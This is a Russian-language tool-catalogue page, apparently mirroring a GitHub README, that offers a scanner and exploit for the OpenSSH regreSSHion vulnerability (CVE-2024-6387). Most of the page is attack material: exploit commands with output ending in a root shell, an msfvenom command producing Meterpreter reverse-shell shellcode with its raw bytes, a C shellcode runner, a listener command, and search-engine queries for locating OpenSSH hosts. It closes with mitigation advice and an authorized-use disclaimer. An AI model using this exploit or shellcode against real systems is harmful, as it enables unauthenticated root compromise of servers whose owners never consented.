Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-6387 — PoC — Удалённая неаутентифицированная уязвимость выполнения кода в сервере OpenSSH (Сканер и эксплойт) | Kitploit
Инструменты/GitHubGitHub/l0n3m4n/cve-2024-6387
РазведкаАнализ уязвимостейЭксплуатацияШелл-кодСетевая безопасностьТестирование на ПроникновениеRed TeamingИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubl0n3m4n/cve-2024-6387

CVE-2024-6387

PoC — Удалённая неаутентифицированная уязвимость выполнения кода в сервере OpenSSH (Сканер и эксплойт)

1133982 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

openssh CVE-2024-6387 - PoC

📜 Описание

Примечание: Этот скрипт — быстрый прототип PoC, возможны ошибки и баги. Протестировано на: Kali Linux, ParrotSec, Ubuntu 22.04

Удалённая неаутентифицированная уязвимость выполнения кода в сервере OpenSSH

В сервере OpenSSH (sshd) было обнаружено состояние гонки в обработчике сигналов: если клиент не проходит аутентификацию в течение LoginGraceTime секунд (по умолчанию 120, в старых версиях OpenSSH — 600), то асинхронно вызывается обработчик SIGALRM. Однако этот обработчик сигнала вызывает различные функции, которые не являются async-signal-safe, например, syslog().

📁 Содержание

  • 📖 Детали
  • ⚙️ Использование
  • 🔍 Обнаружение хостов
  • 🛠️ Меры по смягчению
  • 💁 Ссылки
  • 📌 Автор
  • 📢 Отказ от ответственности

✍🏻 Детали

Технические детали можно найти здесь.

Уязвимость, обнаруженная исследователями Qualys в мае 2024 года и получившая идентификатор CVE-2024-6387, вызвана состоянием гонки в обработчике сигналов sshd, которое позволяет удалённым неаутентифицированным злоумышленникам выполнять произвольный код с правами root.

"Если клиент не проходит аутентификацию в течение LoginGraceTime секунд (по умолчанию 120), то обработчик SIGALRM в sshd вызывается асинхронно и вызывает различные функции, которые не являются async-signal-safe,"

"Удалённый неаутентифицированный злоумышленник может воспользоваться этой уязвимостью для выполнения произвольного кода с привилегиями root."

⚙️ Использование

Сканирование OpenSSH-сервера

Требование: python3 последней версии

root@kitploit:~
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
   Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
    
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

Экспорт (csv,txt,json)

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

Несколько целей

root@kitploit:~
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

Добавление таймаута

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

Сетевые диапазоны

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

Свой порт

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

Процесс повышения привилегий

Получение reverse shell

root@kitploit:~
# Generating a shellcode 
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

Пользовательский payload

root@kitploit:~
#include <stdio.h>

// A placeholder of your custom payload 
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Execute shellcode
    printf("Executing shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

Рабочий payload

root@kitploit:~
#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";

Компиляция и запуск payload

root@kitploit:~
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

Выполнение payload

root@kitploit:~
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

Перехват payload

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"

🔍 Обнаружение хостов

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access

🛠️ Меры по смягчению

  • Управление исправлениями: Быстрое применение доступных исправлений для OpenSSH имеет решающее значение для закрытия окна уязвимости. Своевременная установка исправлений гарантирует, что известные эксплойты не могут быть использованы против ваших систем, тем самым сокращая время для атакующих.

  • Расширенный контроль доступа: Ограничение SSH-доступа с помощью сетевых средств контроля добавляет дополнительный уровень защиты. Такой подход минимизирует подверженность потенциальным атакам, ограничивая SSH-подключения только авторизованными сетями или IP-адресами. Внедрение таких инструментов, как правила межсетевого экрана, или использование VPN для безопасного доступа может эффективно обеспечить соблюдение этих ограничений.

  • Сегментация сети: Разделение сети на сегменты помогает сдержать последствия возможного взлома. Изолируя критические системы и чувствительные данные от менее важных частей сети, вы снижаете риск горизонтального перемещения атакующих. Такая сегментация может быть дополнена строгим контролем доступа и мониторингом для обнаружения и реагирования на любые несанкционированные попытки проникновения в эти сегменты.

  • Системы обнаружения вторжений (IDS): Развертывание IDS или систем предотвращения вторжений (IPS) обеспечивает мониторинг сетевого трафика и системных журналов в реальном времени. Эти системы могут обнаруживать подозрительные действия и потенциальные попытки эксплуатации, связанные с уязвимостью regreSSHion. Оповещения, срабатывающие в таких системах, позволяют быстро провести расследование и принять меры до того, как будет нанесён значительный ущерб.

  • Мониторинг попыток эксплуатации: Непрерывный мониторинг сетевых и системных журналов крайне важен. Следите за любыми необычными шаблонами или действиями, которые могут указывать на попытку эксплуатации уязвимости OpenSSH. Такой упреждающий подход помогает выявлять угрозы и реагировать на них до того, как они смогут нанести вред.

💁 Ссылки

  • Оригинальный автор: CVE-2024-6387 Scanner
  • Оригинальный автор: CVE-2024-6387 PoC

Дополнительные ссылки

  • http://www.openwall.com/lists/oss-security/2024/07/01/12
  • https://access.redhat.com/security/cve/CVE-2024-6387
  • https://bugzilla.redhat.com/show_bug.cgi?id=2294604
  • https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
  • https://github.com/zgzhang/cve-2024-6387-poc
  • https://ubuntu.com/security/CVE-2024-6387
  • https://ubuntu.com/security/notices/USN-6859-1
  • https://www.suse.com/security/cve/CVE-2024-6387.html
  • https://explore.alas.aws.amazon.com/CVE-2024-6387.html
  • https://archlinux.org/news/the-sshd-service-needs-to-be-restarted-after-upgrading-to-openssh-98p1/
  • https://www.openssh.com/txt/release-9.8
  • https://lists.mindrot.org/pipermail/openssh-unix-announce/2024-July/000158.html
  • https://lists.mindrot.org/pipermail/openssh-unix-dev/2024-July/041431.html
  • https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
  • https://www.theregister.com/2024/07/01/regresshion_openssh/
  • https://news.ycombinator.com/item?id=40843778

📌 Автор

  • Facebook
  • Twitter (X)
  • Medium
  • Website

📢 Отказ от ответственности

  • Важное примечание:
    • Этот инструмент разработан и используется исключительно для авторизованного тестирования на проникновение и учений Red Team. Он предназначен для выявления и эксплуатации уязвимостей в сервере OpenSSH на Linux-системах на базе glibc. Несанкционированное использование этого инструмента строго запрещено. Владелец этого инструмента не несёт ответственности за любой несанкционированный доступ или вредоносное использование инструмента.
  • Правовое уведомление:
    • Несанкционированное использование этого инструмента в системах или сетях без явного разрешения соответствующих владельцев может нарушать применимые законы и нормативные акты. Пользователи несут ответственность за соблюдение правовых и этических стандартов, регулирующих тестирование кибербезопасности и оценки.
Скачать инструмент
  • https://security-tracker.debian.org/tracker/CVE-2024-6387
  • https://github.com/oracle/oracle-linux/issues/149
  • https://github.com/rapier1/hpn-ssh/issues/87
  • https://stackdiary.com/openssh-race-condition-in-sshd-allows-remote-code-execution/
  • https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0010
  • http://www.openwall.com/lists/oss-security/2024/07/01/13
  • https://security.netapp.com/advisory/ntap-20240701-0001/